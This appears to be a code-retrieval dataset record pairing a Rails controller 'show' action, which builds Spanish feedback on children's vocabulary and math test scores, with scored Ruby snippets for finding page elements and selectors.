"def find_element\n raise \"Not a valid Finder: #{find_by.to_sym}\" unless FINDERS.include? find_by.to_sym\n\n case find_by.to_sym\n when :id\n $driver.find_element(find_by.to_sym, locator)\n when :value\n $driver.find(locator)\n when :xpath\n $driver.find_element(find_by.to_sym, locator)\n end\n end",
"def find_first(xpath, nslist = nil)\n find(xpath, nslist).first\n end",
"def selector(&block)\n @selector = block if block_given?\n @selector\n end",
"def find(*selectors, &block)\n _find(Selector.new(*selectors, &block))\n end",
"def afirst(selector={}, opts={}, &blk)\n opts[:limit] = 1\n afind(selector, opts) do |res|\n yield res.first\n end\n end",
"def find_ele_by_predicate(class_name: '*', value:)\n elements = find_eles_by_predicate(class_name: class_name, value: value)\n raise _no_such_element if elements.empty?\n\n elements.first\n end",
"def focus(selector)\n handle = query_selector selector\n \"No node found for selector: #{selector}\" if handle.nil?\n handle.focus\n handle.dispose\n nil\n end",
"def element(css_query, output = process_output)\n output[css_query].first\n end",
"def find_element(*names)\n traverse_element(*names) {|e| return e }\n nil\n end",
"def find_element(*names)\n traverse_element(*names) {|e| return e }\n nil\n end",
"def at(xpath)\n self.find_first(xpath)\n end",
"def find_element_by_id(id)\n (e = @doc.at_css(\"##{id}\")) && NodeProxy.new(e)\n end",
"def convert_selector(selector)\n if (!selector.is_a? String)\n self.quit\n raise ArgumentError, \"fatal: convert_selector() expected String, got #{selector.class}\\n\" +\n \"(#{__FILE__}:#{__LINE__})\"\n end\n # split into name, #id, .classes\n matches = /([a-zA-Z0-9_\\-\\[\\]]*)?(#[a-zA-Z0-9_\\-\\[\\]]*)?(\\.[a-zA-Z0-9_\\-\\[\\]\\.]*)?/.match(selector)\n return printf(\"No match (#{selector} ~> nil)\\n\") if matches.nil?\n pieces = {}\n pieces[:name] = matches[1]\n pieces[:id] = matches[2][1..-1] if matches[2] # Remove the leading # marker\n pieces[:class] = matches[3][1..-1].gsub(\"\\.\",\" \") if matches[3] # \".class1.class2\" => \"class1 class2\"\n pieces.delete_if{|k,v| v.to_s.empty?} # strip nil's as find_element() is silly and doesn't ignore them.\n pieces\nend",
"def xpath_for(selector, options = T.unsafe(nil)); end",
"def [](what)\n %x{\n var result = #@native.getElementById(what);\n\n if (result) {\n return #{DOM(`result`)};\n }\n }\n\n css(what).first || xpath(what).first\n end",
"def selector\n @selector ||= _base.atomic_selector\n end",
"def element_by_xpath(xpath)\r\n temp = Element.new(nil, self)\r\n element_name = temp.element_by_xpath(self, xpath)\r\n return element_factory(element_name)\r\n end",
"def SS(selector)\n handles = evaluate_handle(\n '(element, selector) => element.querySelectorAll(selector)',\n selector,\n )\n properties = handles.properties\n handles.dispose\n properties.values.map(&:as_element).compact\n end",
"def extract_id\n selector[:_id]\n end",
"def click_selector(sym,id,selector_value)\n option = Selenium::WebDriver::Support::Select.new(driver.find_element(sym.to_sym,id))\n option.select_by(:text, selector_value)\n end",
"def element(name, selector, type = nil)\n if selector.respond_to?(:__deserialise, true)\n @__selectors << Selector::Nested.new(name, selector)\n\n elsif type.respond_to?(:__deserialise, true)\n cloned_type = type.clone\n cloned_type.instance_variable_set(:@__root, selector)\n @__selectors << Selector::Nested.new(name, cloned_type)\n\n else\n @__selectors << Selector::Node.new(name, selector, type)\n end\n end",
"def find_id_by_title title\n element = select_one_by_title title\n element[\"@#{kind}_id\".to_sym] if element\n end",
"def first_ele tag_name\n # XPath index starts at 1\n find_element :xpath, \"//#{tag_name}[1]\"\n end",
"def find(selector)\n nodes = @_node.getByXPath(selector).map { |node| Node.new(node) }\n @nodes << nodes\n nodes\n end",
"def get_element(path)\n elements = get_elements(path)\n elements[0] if elements\n end",
"def find_element(id, model)\n case model.downcase\n when 'work'\n return Work.find(id)\n when 'basicfile'\n return BasicFile.find(id)\n when 'singlefileinstance'\n return SingleFileInstance.find(id)\n when 'orderedinstance'\n return OrderedInstance.find(id)\n when 'person'\n return AuthorityMetadataUnit.find(id)\n else\n raise 'Unknown element type'\n end\n end",
"def xpath_for selector, options={}\r\n Parser.new(options[:ns] || {}).xpath_for selector, options\r\n end",
"def find_price(price_id)\n prices.select { |e| e.id.to_s == price_id.to_s }.first\n end",
"def click(selector)\n if selector.is_a? String\n find(selector).click\n else\n selector.click\n end\n end",
"def first_ele(class_name)\n ele_index class_name, 1\n end",
"def find_single(scope)\n path = element_path(scope)\n self.new(connection.get(path))\n end",
"def find_element(locator)\n return locator if locator.is_a?(Selenium::WebDriver::Element)\n\n element = nil\n how, what = parse_locator(locator)\n\n if how == :css\n new_what, nth = what.scan(/(.*):eq\\((\\d+)\\)/).flatten\n element = find_elements(\"#{how}=#{new_what}\")[nth.to_i] if nth\n end\n\n element ||= driver.find_element(how, what)\n\n raise Selenium::WebDriver::Error::NoSuchElementError, \"Failed to find element: #{locator}\" unless element\n\n wait_for { element.displayed? }\n\n element\n end",
"def element(name)\n elements.find { |el| el.name == name.to_s }\n end",
"def first(*args)\n find(:first, *args)\n end",
"def first(*args)\n find(:first, *args)\n end",
"def find_element( element_names )\n element_names = [ *element_names ]\n\n while( true )\n e = @pull_parser.peek\n if e.start_element?\n if element_names.include?( e[0] )\n return e[0]\n else\n return NOTHING\n end\n elsif e.end_element?\n return END_CONTEXT\n elsif e.end_document?\n return END_CONTEXT\n elsif e.text? \n # ignore whitespace between elements\n raise \"unexpected text content: #{e.inspect}\" if e[0] !~ /[[:space:]]/\n @pull_parser.pull\n end\n end\n end",
"def detect_xpath(selector)\n selector.gsub(/^\\./,'')[0] == '/' ? [:xpath, selector] : selector\n end",
"def find_first(*args)\n id = get_range(:count => 1, *args).first\n id && find_one(id, *args)\n end",
"def load_selector(value_type)\n selectors.active.where(value_type: value_type).limit(1).first\n end",
"def first(*args)\n find(:first, *args)\n end",
"def find(selector)\n nodes = current_frame.getByXPath(selector).map { |node| Node.new(node) }\n @nodes << nodes\n nodes\n end",
"def [](x)\n case x\n when self\n x\n when Hash\n find_by_hash(:first, x)\n when nil, Symbol\n find(:first, :conditions => [ 'code = ?', (x || '_').to_s ])\n when String\n find(:first, :conditions => [ 'uuid = ? OR code = ?', (x || '').to_s, (x || '_').to_s ])\n when Integer\n find(:first, :conditions => [ 'id = ?', x ])\n end\n end",
"def xpath_first(outer_set, path_name)\n outer_set.xpath(path_name).first\n end",
"def find_by_id(item)\n @driver.find_element(:id, item)\n end",
"def find(id, optional = {})\n find_all([id], optional).first\n end",
"def find_by_symbol(symbol)\n fetch([name, symbol.to_s]) do\n where(symbol: symbol).first\n end\n end",
"def get_element_by_xpath(xpath)\n\t\t# restituisco l'elemento corrispondente - nota: a priori un xpath non è univoco, per questo\n\t\t# in realtà blocco[] è un array di risultati\n\t\[email protected](xpath)\n\tend",
"def get(element_id)\n unless is_parent_layout?\n return parent_layout.get(element_id)\n end\n @elements[element_id] && @elements[element_id].first\n end",
"def find(id)\n first(\"Id = '#{id}'\")\n end",
"def process_selector(selector)\n # Parse the first piece as a selector, defaulting to DIV tag if none is specified\n if selector.length > 0 and ['#', '.'].count(selector[0]) > 0\n @tag = 'div'\n else\n delimiter_index = nil\n i = 0\n for char in selector.split(\"\") do\n if ['#', '.'].count(char) > 0\n delimiter_index = i\n break\n end\n i += 1\n end\n \n if delimiter_index == nil\n @tag = selector * 1\n selector = \"\"\n else\n @tag = selector[0..delimiter_index-1]\n selector = selector[@tag.length..-1]\n end\n end\n \n @tag_id = nil\n @tag_classes = []\n while true do\n next_delimiter_index = nil\n if selector == \"\"\n break\n \n else\n i = 0\n for char in selector.split(\"\") do\n if i > 0 and ['#', '.'].count(char) > 0\n next_delimiter_index = i\n break\n end\n i += 1\n end\n \n if next_delimiter_index == nil\n if selector[0] == '#'\n @tag_id = selector[1..-1]\n elsif selector[0] == \".\"\n @tag_classes << selector[1..-1]\n end\n \n selector = \"\"\n \n else\n if selector[0] == '#'\n @tag_id = selector[1..next_delimiter_index-1]\n elsif selector[0] == \".\"\n @tag_classes << selector[1..next_delimiter_index-1]\n end\n \n selector = selector[next_delimiter_index..-1]\n end\n end\n end\n \n self\n end",
"def get_id_of_first_result\n if @items.size > 0\n @items[0].each_element_with_attribute('name', 'id' ) { |element| return element.text() }\n end\n end",
"def find(selector = {})\n Query.new(self, selector)\n end",
"def first(name=nil)\n name.nil? ? matches.first : find(name, false).first\n end",
"def find css_selector\n @scene.lookup css_selector\n end",
"def find_ele_by_predicate_include(class_name: '*', value:)\n elements = find_eles_by_predicate_include(class_name: class_name, value: value)\n raise _no_such_element if elements.empty?\n\n elements.first\n end",
"def at(expr, &blk)\n search(expr, &blk).first\n end",
"def selector\n @selector ||= climb({ \"_id\" => _root.id }) do |document, value|\n value[\"#{document.path}._id\"] = document.id; value\n end\n end",
"def first(options={})\r\n find(:first, options)\r\n end",
"def element_id(str)\n find_element(:id, str)\n end",
"def select_option(selector, selection)\r\n options = selector.options.select { |o| o.text == selection }\r\n options = selector.options.select { |o| o.value == selection } if options.empty?\r\n options = selector.options.select { |o| o.text.gsub(/[^a-zA-Z0-9]/,\"\") == selection } if options.empty?\r\n options = selector.options.select { |o| o.value.gsub(/[^a-zA-Z0-9]/,\"\") == selection } if options.empty?\r\n options = selector.options.select { |o| o.text.include?(selection) } if options.empty?\r\n options = selector.options.select { |o| o.value.include?(selection) } if options.empty?\r\n\r\n option = options.first\r\n option.select() unless option.nil?\r\n return option\r\n end",
"def first( path, hash )\n scrape(path, hash, :%) do |storage, selector, element|\n @result[storage] = select(element, selector)\n end\n end",
"def match_selector(...)\n Matchers::MatchSelector.new(...)\n end",
"def select(*args) \n return nil if (args.length==1 and (Integer===args[0] or Symbol===args[0]))\n raise ArgumentError, \"Unexpected nil selection matcher\" if args.any? {|arg| arg.nil?}\n []\n end",
"def select_option(selector, selection)\n options = selector.options.select { |o| o.text == selection }\n options = selector.options.select { |o| o.value == selection } if options.empty?\n options = selector.options.select { |o| o.text.gsub(/[^a-zA-Z0-9]/,\"\") == selection } if options.empty?\n options = selector.options.select { |o| o.value.gsub(/[^a-zA-Z0-9]/,\"\") == selection } if options.empty?\n options = selector.options.select { |o| o.text.include?(selection) } if options.empty?\n options = selector.options.select { |o| o.value.include?(selection) } if options.empty?\n\n option = options.first\n option.select() unless option.nil?\n return option\n end",
"def find_one_by(opts = {})\n list_all_products(opts)[0]\n end",
"def elements(selector)\n @doc.search(selector)\n end",
"def at_xpath(selector, within: nil)\n expr = <<~JS\n function(selector, within) {\n within ||= document\n let xpath = document.evaluate(selector, within, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);\n return xpath.snapshotItem(0);\n }\n JS\n evaluate_func(expr, selector, within)\n end",
"def selection_element(element = None)\n execute(:selection, :element, element)\n end",
"def find_one(selector = nil)\n metadata = files_collection.find(selector).first\n return nil unless metadata\n chunks = chunks_collection.find(:files_id => metadata[:_id]).sort(:n => 1)\n Grid::File.new(chunks.to_a, metadata)\n end",
"def get(element, name)\n lookup(key(element.to_s, name.to_s))\n end",
"def get(element, name)\n lookup(key(element.to_s, name.to_s))\n end",
"def selector(sel)\n if block_given?\n open_block(sel)\n yield\n closed_block\n else\n chain(sel)\n end\n self\n end",
"def fetch_element(key)\n return @completed_elements.detect do |el|\n el.first.html_attribute_name == key || el.first.name == key\n end\n end",
"def find_name(response, selector)\n return nil unless response.css(\"#{selector} > p.mb-0\")[0]\n\n response.css(\"#{selector} > p.mb-0\")[0].text\nend",
"def first(*args)\n if args.any?\n if args.first.kind_of?(Integer) ||\n (loaded? && !args.first.kind_of?(Hash))\n to_a.first(*args)\n else\n apply_finder_options(args.first).first\n end\n else\n find_first\n end\nend",
"def tag(selector)\n\t\te = element(selector)\n\t\te && e.inner_html\n\tend",
"def test_root_selector\n parse(%Q{<div id=\"1\"><div id=\"2\"></div></div>})\n # Can only find element if it's root.\n select(\":root\")\n assert_equal 1, @matches.size\n assert_equal \"1\", @matches[0].attributes[\"id\"]\n select(\"#1:root\")\n assert_equal 1, @matches.size\n assert_equal \"1\", @matches[0].attributes[\"id\"]\n select(\"#2:root\")\n assert_equal 0, @matches.size\n # Opposite for nth-child.\n select(\"#1:nth-child(1)\")\n assert_equal 0, @matches.size\n end",
"def find_first &predicate\n\t\treturn nil unless block_given?\n\n\t\tcurrent = self.head\n\t\twhile current\n\t\t\treturn current if predicate.call(current)\n\t\t\tcurrent = current.next\n\t\tend\n\tend",
"def find(locator)\n @browser.find_element locator\n end",
"def capybara_element(*args, wait: 0, **options)\n context.send(\"#{name}_element\", *args, **options.merge(match: :first, wait: wait))\n rescue Capybara::ElementNotFound\n nil\n end",
"def lookup(predicate)\n hash = crosswalk_hash\n result = hash.select(&find(predicate))\n return result.first unless result.empty?\n end",
"def find_single(scope, options, instantiate=true)\n prefix_options, query_options = split_options(options[:params])\n path = element_path(scope, prefix_options, query_options)\n record = format.decode(connection.get(path, headers).body)\n if instantiate\n instantiate_record(record, prefix_options)\n else\n record\n end\n end"
] | [
"0.73091274",
"0.7219662",
"0.6720538",
"0.6613143",
"0.6274973",
"0.62003124",
"0.6190621",
"0.6160567",
"0.61303085",
"0.612353",
"0.6015964",
"0.59812623",
"0.5957856",
"0.587633",
"0.58339286",
"0.57866436",
"0.57444876",
"0.5739463",
"0.5738925",
"0.5659989",
"0.56534165",
"0.5616443",
"0.5597265",
"0.5576946",
"0.5563524",
"0.55418015",
"0.55102485",
"0.55102485",
"0.5476969",
"0.5464599",
"0.54605585",
"0.54448",
"0.5431283",
"0.5431244",
"0.54173774",
"0.54083735",
"0.53971946",
"0.5330354",
"0.5322702",
"0.53219754",
"0.5293678",
"0.52890974",
"0.52642316",
"0.5244381",
"0.52422124",
"0.518602",
"0.5185263",
"0.51646274",
"0.5149171",
"0.5147368",
"0.51452",
"0.514328",
"0.514328",
"0.51283365",
"0.51041526",
"0.50998956",
"0.50969434",
"0.50927454",
"0.5087679",
"0.50875753",
"0.5087442",
"0.5081843",
"0.5072868",
"0.5065006",
"0.50360787",
"0.50178605",
"0.49976033",
"0.49960124",
"0.49623692",
"0.49621156",
"0.49497047",
"0.4948091",
"0.49385896",
"0.49331275",
"0.49312064",
"0.49243414",
"0.49166143",
"0.49139276",
"0.49096516",
"0.4903356",
"0.4892979",
"0.48879197",
"0.48873278",
"0.48812434",
"0.48735675",
"0.487267",
"0.4867449",
"0.48658305",
"0.48658305",
"0.48617584",
"0.4856628",
"0.4850807",
"0.48503035",
"0.48490247",
"0.48457903",
"0.48413038",
"0.484064",
"0.48349288",
"0.48308465",
"0.48275954"
] | 0.6974169 | 2 |
GET /tests GET /tests.json | def index
@q= Test.ransack(params[:q])
@tests = @q.result.uniq
@tests = @tests.order('id ASC').paginate(:page => params[:page], :per_page => 30)
respond_to do |format|
format.html
format.csv { send_data @tests.to_csv(['nombre', 'colegio', 'nivel', 'seccion', 'edad', 'ic', 'icm', 'pi_num', 'pi_comp', 'pi_cal', 'pi_conc', 'pf_conv', 'pf_hecho', 'pf_calc', 'pf_conce']) }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n render status: :ok, json: @tests\n end",
"def test\n get(\"/help/test.json\")\n end",
"def test\n get(\"/help/test.json\")\n end",
"def index\n @tests = Test.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tests }\n end\n end",
"def listing\n tests = Test.where( user_id: test_params[:user_id] )\n all = TestSerializer.new.all_test(tests)\n return render json: all.as_json\n end",
"def test\n render json: { test: 'Tested.' }\n end",
"def test\n render json: { test: 'Tested.' }\n end",
"def show\n render status: :ok, json: @test\n end",
"def tests\n @tests ||= load_json(test_plan_path)&.fetch(:tests) if test_plan_path\n end",
"def index\n json = HTTParty.get(\"https://api.typeform.com/v1/form/WaIffL?key=f486f2db8f1249c077a08b582bc3efe0a2617668\").body\n\n @jsontests = JSON.parse(json)\n\n end",
"def show\n render json: @test\n end",
"def tests\n CircleCi.request(conf, \"#{base_path}/#{build}/tests\").get\n end",
"def get_all_synthetics_tests\n request(Net::HTTP::Get, \"/api/#{API_VERSION}/synthetics/tests\", nil, nil, false)\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def index\n @testers = Tester.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @testers }\n end\n end",
"def show\n @test = Test.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test }\n end\n end",
"def index\n render status: :ok, json: @test_guide_scenarios\n end",
"def tests(run_id)\n get(\"get_tests/#{run_id}\")\n end",
"def show\n @test = LoadTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test }\n end\n end",
"def index\n\n @dtests = Dtest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @dtests }\n end\n end",
"def search\n results = @test.search(test_params)\n return render json: {results: results, total: results.total_entries}\n end",
"def index\n @testtests = Testtest.all\n end",
"def test\n render json: { message: 'Hello World' }\n end",
"def index\n @software_tests = SoftwareTest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @software_tests }\n end\n end",
"def test_function_get_all_posts_successfully\n expected = 200\n response = Net::HTTP.get(URI.parse('http://localhost:3000/v1/posts'))\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def test\n Srchio::Response.new(self.class.get(\"/test\"))\n end",
"def show\n @tester = Tester.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tester }\n end\n end",
"def index\n render json: @test_module.test_questions, status: :ok\n end",
"def unitTests\n\t\trender(json: {nrFailed: 0, output: \"return some output\", totalTests: 15})\n\tend",
"def get_one\n test_data = @test.get_one\n return render json: test_data\n end",
"def test_home\n get '/'\n assert last_response.ok?\n data = JSON.parse(last_response.body)\n assert data.count > 0\n end",
"def index\n @testmonials = Testmonial.all\n\n render json: @testmonials\n end",
"def test\n get(\"/help/test\")\n end",
"def get_api_results(_url)\n JSON.parse File.read('spec/inspector/stubbed_example.json')\n end",
"def test_index \n get :index \n assert_response :success \n end",
"def show\n @test_run = TestRun.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_run }\n end\n end",
"def test!\n @@api.post(endpoint: self.endpoint + ['test'])\n end",
"def test_index\n get :index\n assert_response :success\n end",
"def test_index\n get :index\n assert_response :success\n end",
"def show\n @testis = Teste.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @testis }\n end\n end",
"def test_get_index\n get :index\n assert_response :success\n end",
"def show\n @test_suite = TestSuite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_suite }\n end\n end",
"def index\n @gt_metrix_tests = apply_scopes(GtMetrixTest).all\n\n render json: @gt_metrix_tests\n end",
"def index\n @tests = @subject.tests.all\n end",
"def get_ab_tests(opts = {})\n @transporter.read(:GET, '/2/abtests', {}, opts)\n end",
"def show\n @test_result = TestResult.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_result }\n end\n end",
"def test_show_posts_user\n expected = 200\n user_id = 34\n response = Net::HTTP.get(URI.parse('http://localhost:3000/v1/users/'+user_id+'/posts'))\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def index\n @tests = TkdTest.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tests }\n end\n end",
"def results(test_id, day, month, year, options={})\n args = {testId: test_id, day: day, month: month, year: year}\n .merge(options)\n get('testresult', args)\n end",
"def index\n @application_tests = ApplicationTest.all\n end",
"def show\n @team_test = TeamTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team_test }\n end\n end",
"def index\n @test_runs = TestRun.accessible_by(current_ability).order(\"updated_at DESC\").page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @test_runs }\n end\n end",
"def index\n permitted_to! :inspect, Problem.find(params[:problem_id])\n @test_sets = TestSet.where(:problem_id => params[:problem_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @test_sets }\n end\n end",
"def investigate\n puts \"\\nRequesting JSON from #{url} and testing\"\n tests.each_pair do |test, block|\n print \" - #{test}\\n\"\n check test, block\n end\n summary\n exit_status\n end",
"def show\n @testcase = Testcase.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @testcase }\n end\n end",
"def show\n @test_summary = TestSummary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_summary }\n end\n end",
"def test_show_success\n get \"api/v1/birds/#{@bird.id.to_s}\"\n assert_equal true, json.present?\n assert_equal \"blue\", json[\"title\"]\n assert_equal \"String\", json[\"type\"]\n assert_equal \"testing description\", json[\"description\"]\n end",
"def index\n @testurls = Testurl.all\n end",
"def index\n @user_tests = UserTest.all\n end",
"def index\n @reacttests = Reacttest.all\n end",
"def index\n @what_tests = WhatTest.all\n end",
"def show\n @test10 = Test10.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test10 }\n end\n end",
"def show\n @test_page = TestPage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_page }\n end\n end",
"def test_index\n assert_response 200\n end",
"def index\n\t@instruction = Instruction.find( params[ :instruction_id ] )\n @testimonies = @instruction.testimonies.page( params[ :page ] ).per(20)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @testimonies }\n end\n end",
"def info(test_id, options={})\n args = {testId: test_id}.merge(options)\n get('testinfo', args)\n end",
"def show\n @tktest = Tktest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tktest }\n end\n end",
"def test_show\n get '/category/1'\n end",
"def test_get_feed\n get :feed\n assert_response :success\n end",
"def show\n @test_post = TestPost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_post }\n end\n end",
"def index\n @test_results = TestResult.all\n end",
"def tests(*args)\n @xml.xpath('./tests/test').collect do |xml_test|\n content = if xml_test.at_xpath('./Paragraph')\n xml_test.at_xpath('./Paragraph').text.split(\"\\n\").collect(&:strip).reject{|line| line.empty?}.join(\"\\n\")\n else\n 'n/a'\n end\n {\n id: xml_test.attributes['id'],\n status: xml_test.attributes['status'],\n content: content\n }\n end\n end",
"def show\n @testdb = Testdb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @testdb }\n end\n end",
"def index\n @test_example_results = TestExampleResult.all\n end",
"def show\n @section_test = SectionTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @section_test }\n end\n end",
"def show\n @usertest = Usertest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @usertest }\n end\n end",
"def show\n render json: @testmonial\n end",
"def smoke_test ()\n\n smoke_test = [\"rest_get\"]\n return smoke_test\n end",
"def index\n @test_items = TestItem.all\n end",
"def index\n @runtests = Runtest.all\n end",
"def test_index \n post :index \n assert_response :success \n end",
"def tests\n @tests ||= @spec['tests'].collect do |test|\n Test.new(@data, test)\n end\n end",
"def index\n @test_details = TestDetail.all\n end",
"def test_story_create\n # skip\n story = Story.create(name: \"rando story name\")\n response = get \"/storyname\"\n json = JSON.parse(response.body)\n assert_equal story.name, json.last[\"name\"]\n # binding.pry\n end",
"def show\n @software_test = SoftwareTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @software_test }\n end\n end",
"def show\n @student_test = StudentTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student_test }\n end\n end",
"def index\n @fixtures = Fixture.all\n\n respond_to do |format|\n format.json { render json: @fixtures }\n end\n end",
"def index\n @test_stalls = TestStall.all\n end",
"def test_get_skills_route\n render :json => get_profile_skills_for_profile(\"https://www.linkedin.com/in/marissamayer\").to_json\n end",
"def test_should_be_json_response\n get '/mock/example'\n assert_equal last_response.content_type, \"application/json\"\n end",
"def index\n @online_tests = OnlineTest.all\n end",
"def index\n @contests = Contest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contests }\n end\n end",
"def test_read_all_info\n get '/v1/read_all?data=eyJOYW1lIjogIkVkdWFyZG8iLCAiQ291bnRyeSI6ICJCcmF6aWwiIH0%3D'\n assert last_response.ok?\n assert last_response.body.include?('Eduardo')\n assert last_response.body.include?('Brazil')\n end",
"def show\n render status: :ok, json: @test_guide_scenario\n end"
] | [
"0.77513814",
"0.77281153",
"0.77281153",
"0.73835593",
"0.73397875",
"0.69955796",
"0.69955796",
"0.6836035",
"0.67343783",
"0.66843206",
"0.6667517",
"0.6658951",
"0.6608686",
"0.65987116",
"0.65987116",
"0.65987116",
"0.65987116",
"0.65987116",
"0.65987116",
"0.65987116",
"0.65987116",
"0.65748185",
"0.6561979",
"0.6547614",
"0.6522385",
"0.65215474",
"0.65199804",
"0.6516882",
"0.6505931",
"0.6500111",
"0.6474592",
"0.6463476",
"0.6463437",
"0.644361",
"0.6439838",
"0.643173",
"0.6420985",
"0.64120626",
"0.64116937",
"0.641132",
"0.6405125",
"0.6365101",
"0.6351189",
"0.6342934",
"0.63401204",
"0.63401204",
"0.63376933",
"0.6321795",
"0.63045436",
"0.62961376",
"0.6288735",
"0.62786216",
"0.62740916",
"0.62631273",
"0.6242968",
"0.6224893",
"0.6212076",
"0.62109375",
"0.61966753",
"0.61696994",
"0.61617285",
"0.6158448",
"0.6153892",
"0.6152744",
"0.6125263",
"0.6088178",
"0.6074734",
"0.60719985",
"0.6054522",
"0.60481733",
"0.6042234",
"0.60409135",
"0.60383624",
"0.6002755",
"0.59968406",
"0.59911335",
"0.59909475",
"0.59845036",
"0.59738576",
"0.5964947",
"0.5954009",
"0.59515876",
"0.5930716",
"0.5925044",
"0.59244967",
"0.5912701",
"0.59093624",
"0.59050024",
"0.58958274",
"0.58931607",
"0.58850205",
"0.5883355",
"0.5865316",
"0.58569396",
"0.5855326",
"0.5853788",
"0.5848823",
"0.58434296",
"0.58372396",
"0.5829533",
"0.5822764"
] | 0.0 | -1 |
GET /tests/1 GET /tests/1.json | def show
@años =(@test.edad/12).truncate
@meses = (@test.edad % 12).truncate
if @test.ic > 115 then
@a = "El/la estudiante ha adquirido las habilidades verbales por encima de lo esperado para su edad."
@b = "Se sugieren las siguientes estrategias para reforzar los logros de su hijo/a:"
elsif @test.ic.between?(85, 115) then
@a = "El/la estudiante ha adquirido las habilidades verbales esperadas para su edad."
@b = "Se sugieren las siguientes estrategias para propiciar un mayor vocabulario de su hijo/a:"
elsif @test.ic < 85 then
@a = "El/la estudiante se encuentra en proceso de adquirir las habilidades verbales esperadas para
su edad."
@b = "Se sugieren las siguientes estrategias para incentivar un mayor vocabulario de su hijo/a y
alcanzar el nivel esperado para su edad:"
end
if @test.nivel == "Inicial" then
@c = "Conversar con sus hijos puede ser una buena forma de introducir vocabulario nuevo
en ellos. Pregunte a sus hijos acerca de su día. Incluso los adultos pueden introducir
nuevo vocabulario a los niños, actuando o ejemplificando el uso de las palabras
nuevas."
@d = "Cuéntele y/o léale historias o cuentos a sus hijos. Esta puede ser una manera eficaz y
entretenida de introducir nuevo vocabulario en ellos. Posteriormente, converse sobre
lo que les ha leído."
elsif @test.nivel == "1" then
@c = "Conversar con sus hijos puede ser una buena forma de introducir vocabulario nuevo
en ellos. Pregunte a sus hijos acerca de su día. Incluso los adultos pueden introducir
nuevo vocabulario a los niños, actuando o ejemplificando el uso de las palabras
nuevas."
@d = "Propicie el hábito de lectura en sus hijos, complementariamente léale cuentos o
historias, o lea con ellos. Esta puede ser una manera eficaz y entretenida de introducir
nuevo vocabulario en ellos. Posteriormente, converse sobre lo que han leído."
elsif @test.nivel == "2" then
@c = "Conversar con sus hijos puede ser una buena forma de introducir vocabulario nuevo
en ellos. Pregunte a sus hijos acerca de su día. Incluso los adultos pueden introducir
nuevo vocabulario a los niños, actuando o ejemplificando el uso de las palabras
nuevas."
@d = "Propicie el hábito de lectura en sus hijos, complementariamente léale cuentos o
historias, o lea con ellos. Esta puede ser una manera eficaz y entretenida de introducir
nuevo vocabulario en ellos. Posteriormente, converse sobre lo que han leído."
end
# mate
if @test.icm > 115 then
@e = "El/la estudiante ha adquirido las habilidades matemáticas aritméticas básicas por encima de lo
esperado para su edad."
elsif @test.icm.between?(85, 115) then
@e = "El/la estudiante ha adquirido las habilidades matemáticas aritméticas básicas esperadas para
su edad."
elsif @test.icm < 85 then
@e = "El/la estudiante se encuentra en proceso de adquirir las habilidades matemáticas aritméticas
básicas esperadas para su edad."
end
# Numeración
# 60 a 65
if @test.edad.between?(60, 65) && @test.pi_num > 10 then
@f = "El/la estudiante ha adquirido las habilidades de numeración por encima de lo esperado para la edad que posee.
Algunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:
* Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números. Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.
* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.
